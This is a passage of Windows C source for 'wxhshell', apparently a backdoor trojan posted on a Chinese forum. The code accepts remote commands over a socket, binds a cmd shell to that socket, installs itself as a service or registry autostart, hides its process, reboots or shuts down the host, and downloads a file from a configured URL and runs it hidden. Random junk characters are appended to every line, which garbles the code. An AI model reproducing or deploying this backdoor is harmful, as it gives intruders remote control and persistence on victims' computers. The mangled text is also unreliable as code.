  s8BfOl-  
  // 帮助 &CBW>*B  
  case '?': { >f+qImH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NZT2ni4  
    break; WV5z~[  
  } j11FEE<W  
  // 安装 mV!Ia-k  
  case 'i': { (5CdA1|  
    if(Install()) :kU#5Aj gK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K/WnK:LU  
    else X 4L"M%i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K^32nQX  
    break; 5i71@?q;  
    }  PL"u^G`  
  // 卸载 TwPp Z@  
  case 'r': { D)shWJRlvW  
    if(Uninstall()) wavyREK   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MpY/G%3  
    else P"*#mH[W|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cft/;A u{  
    break; 'O>p@BEK  
    } m\*;Fx  
  // 显示 wxhshell 所在路径 f2h`bO  
  case 'p': { Ln-UN$2~F  
    char svExeFile[MAX_PATH]; M2Q*#U>6r  
    strcpy(svExeFile,"\n\r"); /Ne;Kdp  
      strcat(svExeFile,ExeFile); $ljzw@k  
        send(wsh,svExeFile,strlen(svExeFile),0); hk*@<ff  
    break; iA.:{^_)09  
    } YQ? "~[mL  
  // 重启 ycD.X"  
  case 'b': { 9 +1}8"~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #*;G8yV  
    if(Boot(REBOOT)) EBQ,Ypv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .+3~ w  
    else { =Jyi9VN=&  
    closesocket(wsh); .)(5F45Wg  
    ExitThread(0); (1%O;D.*?{  
    }  N>V\  
    break; ,zF^^,lO7  
    } @kst G3@  
  // 关机 ZNfQM&<d  
  case 'd': { eewlK]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pu-X -j  
    if(Boot(SHUTDOWN)) t[e`wj+qz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k2-+3zx  
    else { P~}Yj@2  
    closesocket(wsh); ZuLW%z.  
    ExitThread(0); ol3].0Vc]  
    } =w!>/#U  
    break; 9 AWFjoXl"  
    } zrDcO~w  
  // 获取shell =Ju%3ptH0  
  case 's': { 5,_DM  
    CmdShell(wsh); evSr?ys  
    closesocket(wsh); (e"\%p`  
    ExitThread(0); P>}OwW  
    break; $y$E1A6h+  
  } Z Jgy!)1n  
  // 退出 '_q&~M{  
  case 'x': { t~v_k\` {  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PAD&sTjE*  
    CloseIt(wsh); Q]1s*P  
    break; yDapl(  
    } e6`g[Ap  
  // 离开 6N\f>c  
  case 'q': { tkIpeL[d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +b sc3  
    closesocket(wsh); pQ,|l$^m  
    WSACleanup(); r}S>t~p:  
    exit(1); ~'#yH#o  
    break; M o?y4X  
        } |=u }1G?  
  } 4e20\q_{  
  } \yhj{QS.k  
1xTNrLW  
  // 提示信息 BAIR!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JZup} {a  
} 7lUnqX.  
  } w~AW( VX  
mufXM(  
  return; u>\u}c  
} bHRRgR`,  
GIM'H;XG  
// shell模块句柄 #O1%k;BL  
int CmdShell(SOCKET sock) mS?W+jy%  
{ 9,jFQb(),  
STARTUPINFO si; ^aI$97Li  
ZeroMemory(&si,sizeof(si)); 45 B |U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wh2Ljskda8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b"JX6efnN  
PROCESS_INFORMATION ProcessInfo; h+DK .$  
char cmdline[]="cmd"; c#zx" ,K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4+B&/}FDLo  
  return 0; tk\)]kj  
} frRO?  
HVz|*?&6  
// 自身启动模式 7pO/!Lm  
int StartFromService(void) >&[q`i{  
{ O0_kLH$.  
typedef struct nV/;yl4e{  
{ m;cgX#k5  
  DWORD ExitStatus; *@eZt*_  
  DWORD PebBaseAddress; =))VxuoN  
  DWORD AffinityMask; (DQ ]58&  
  DWORD BasePriority; miUjpXt  
  ULONG UniqueProcessId; -uei nd]  
  ULONG InheritedFromUniqueProcessId; g3| 62uDF  
}   PROCESS_BASIC_INFORMATION; * "d['V3  
~.$ca.Gf  
PROCNTQSIP NtQueryInformationProcess; @[v4[yq-  
;;  ?OS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %~I%*=o[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2l}H=DZV  
Oj1B @QE  
  HANDLE             hProcess; 9j>LU<Z  
  PROCESS_BASIC_INFORMATION pbi; /_mU%fl  
Z8I0v$LjR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =rN_8&  
  if(NULL == hInst ) return 0; 9Pql\]9"o  
6KE?@3;Om  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U>hpYqf_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UO( ?EELm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FT6~\9m(  
}u+cS[#-  
  if (!NtQueryInformationProcess) return 0; T4Io+b8 $  
 $ucmE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7v V~O@JP  
  if(!hProcess) return 0; si1Szmx,  
avb'dx*q>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =sUrSVUeU  
c7@[RG !  
  CloseHandle(hProcess); Y' O3RA5E  
B8 r#o=q1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WelB"L  
if(hProcess==NULL) return 0; bL2b^UB~%  
TFO4jjiC"  
HMODULE hMod; ! i8'gq'q  
char procName[255]; <O3,b:vw  
unsigned long cbNeeded; WesEZ\V  
AGV+Y 6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TG6E^3a P  
Qe;R3D=T;  
  CloseHandle(hProcess); .R _-$/ZP  
cH`ziZ<&m1  
if(strstr(procName,"services")) return 1; // 以服务启动 UIo jXR<  
)E c /5=A  
  return 0; // 注册表启动 E`#/m@:|-  
} mJ'5!G  
RYV:?=D7s  
// 主模块 e=Q{CsP  
int StartWxhshell(LPSTR lpCmdLine) ~\UAxB=  
{ $ S]l%  
  SOCKET wsl; B *otqu z  
BOOL val=TRUE; _ykT(`.#  
  int port=0; do DpTwvh  
  struct sockaddr_in door; j>)yV@g/  
r2=4Wx4(  
  if(wscfg.ws_autoins) Install(); T:g=P@  
+jyWqld.K1  
port=atoi(lpCmdLine); Lnc>O'<5P9  
[!YSW'  
if(port<=0) port=wscfg.ws_port; SquuK1P=  
-"5r-qq*  
  WSADATA data; s&L 6C[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zRFvWOxC\  
-DWnDku8=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zXGi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k3UKGP1  
  door.sin_family = AF_INET; zh Vkn]z~*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wZb7 7  
  door.sin_port = htons(port); g_e_L39  
h 6juX'V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;oWak`]f  
closesocket(wsl); B qcFbY  
return 1; Ja{[T  
} [4b_`L  
-5GRit1q?  
  if(listen(wsl,2) == INVALID_SOCKET) { 7;SI=  
closesocket(wsl); '5}@# Mi  
return 1; jd+ U+8r  
} .Lp\Jyegs  
  Wxhshell(wsl); Pk^W+M_)~  
  WSACleanup(); +&.wc;mi  
RP%7M8V){B  
return 0; kmM- >v  
Cn.x:I@r  
} :ywm4)  
kZNVUhW6S  
// 以NT服务方式启动 '\R/-.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i| CAN,'  
{ o,_R;'\E[a  
DWORD   status = 0; f vr|<3ojo  
  DWORD   specificError = 0xfffffff; sJ7ZE-v]h  
.iZo/_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `Zd\d:Wyv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2py [P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }\]J?I+A  
  serviceStatus.dwWin32ExitCode     = 0; F~x>\?iN  
  serviceStatus.dwServiceSpecificExitCode = 0; c3C<P  
  serviceStatus.dwCheckPoint       = 0; E&>=  
  serviceStatus.dwWaitHint       = 0; W*9*^  
>=d%t6 %(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *d&+? !  
  if (hServiceStatusHandle==0) return; M{O8iq[  
m!Fx#   
status = GetLastError(); s]2_d|Y  
  if (status!=NO_ERROR) ehyCAp0oI  
{ {qb2!}FQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kq;s${ |G  
    serviceStatus.dwCheckPoint       = 0; lR0WDJv  
    serviceStatus.dwWaitHint       = 0; O_^t u?x  
    serviceStatus.dwWin32ExitCode     = status;  f~w!Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8'o6:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `-[|@QNFz  
    return; YxWA] yL  
  } |%12Vr]J  
0tEe $9eK@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *#7]PA Qw  
  serviceStatus.dwCheckPoint       = 0; ~JG\b?s  
  serviceStatus.dwWaitHint       = 0; >%c7|\q[R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >M^4p   
} .{4U]a;[  
&z?:s  
// 处理NT服务事件,比如:启动、停止 lFbf9s:$B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jq_AR!} %  
{ FwqaWEk  
switch(fdwControl) <L+y 6B  
{ IRIYj(J  
case SERVICE_CONTROL_STOP: EJ=ud9  
  serviceStatus.dwWin32ExitCode = 0; l 1eF&wNC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S94S[j0D  
  serviceStatus.dwCheckPoint   = 0; ws< (LH  
  serviceStatus.dwWaitHint     = 0; Mh8s@g  
  { k.!m-5E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `,$PRN"]  
  } }$Z0v`  
  return; h+j{;evN  
case SERVICE_CONTROL_PAUSE: z65Q"A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vY2^*3\<D  
  break; m.w.h^f$&  
case SERVICE_CONTROL_CONTINUE: y8$I=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sq[LwJ  
  break; 9_xJT^10  
case SERVICE_CONTROL_INTERROGATE: h Nx#x  
  break; 1s6L]&B  
}; bL0>ul"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^n9)rsb  
} 90UZ\{">  
.A apO}{  
// 标准应用程序主函数 [(m+Ejzi%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ][1 iKT  
{ #b94S?dq  
n 'E:uXv"  
// 获取操作系统版本 +MyXIWmD  
OsIsNt=GetOsVer(); #"!q_@b,D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m*~Iu<5L  
&%r<_1  
  // 从命令行安装 "g:1br?X,9  
  if(strpbrk(lpCmdLine,"iI")) Install(); D2]i*gs  
dZ `c  
  // 下载执行文件 _p;=]#+c&  
if(wscfg.ws_downexe) { THY=8&x)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s5J?,xu  
  WinExec(wscfg.ws_filenam,SW_HIDE); GGez!?E%  
} @@d6,=  
&*# Obv  
if(!OsIsNt) { W[t0hbV w  
// 如果时win9x,隐藏进程并且设置为注册表启动 1h#e-Oyff  
HideProc(); L)X[$:  
StartWxhshell(lpCmdLine); 7~!F3WT{  
} v/x~L$[  
else R3hyz~\x&  
  if(StartFromService()) PauF)p  
  // 以服务方式启动 |OBh:d_B]  
  StartServiceCtrlDispatcher(DispatchTable); /&+*X)#v  
else ;|pw;-  
  // 普通方式启动 U5ME`lN*`  
  StartWxhshell(lpCmdLine); vJ{aBx`VS  
d[`vd^hI  
return 0; +'{d^-( (  
}
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只看该作者 1 发表于: 2006-10-10
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